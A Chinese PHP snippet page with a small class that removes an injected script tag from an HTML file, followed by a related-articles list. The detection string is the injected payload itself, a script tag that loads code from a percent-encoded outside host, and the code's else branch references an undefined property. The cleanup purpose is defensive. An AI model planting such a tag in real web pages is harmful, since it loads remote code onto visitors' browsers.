php 清除网页病毒的方法

yipeiwu_com6年前PHP代码库
<?php
Class clear_virus{
public $index ='b.html';
public $filepath =array('b.html');
public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
function open_file(){
if(file_exists($this->index)){
$tmp =file_get_contents($this->index);
if( strrpos($tmp,$this->virus_type)!== false){
$temp =str_replace($this->virus_type,'',$tmp);
$handle =fopen($this->index,'w');
fwrite($handle,$temp);
fclose($handle);
}else{
echo $this->virus_find;
}
}
}
}
$virus =new clear_virus;
$virus->open_file();
?>
清除script 病毒

相关文章

判断是否为指定长度内字符串的php函数

复制代码 代码如下: //———————————————————————————– // 函数名:CheckLengthBetween($C_char, $I_len1, $I_len2...

PHP封装的MSSql操作类完整实例

本文实例讲述了PHP封装的MSSql操作类。分享给大家供大家参考,具体如下: <?php /*MSSql的操作类*/ class MSSql { var $link...

关于crontab的使用详解

使用crontab定时执行php代码,例  每隔十分钟执行一次:/10 * * * * wget -q --sqider http://******一、在Crontab中使用P...

PHP设置一边执行一边输出结果的代码

复制代码 代码如下:<?php     set_time_limit(10);     ob_end...

php数组函数序列之end() - 移动数组内部指针到最后一个元素,并返回该元素的值

定义和用法 end() 函数将数组内部指针指向最后一个元素,并返回该元素的值(如果成功)。 语法 end(array)参数 描述 array 必需。规定要使用的数组。 例子 复制代码 代...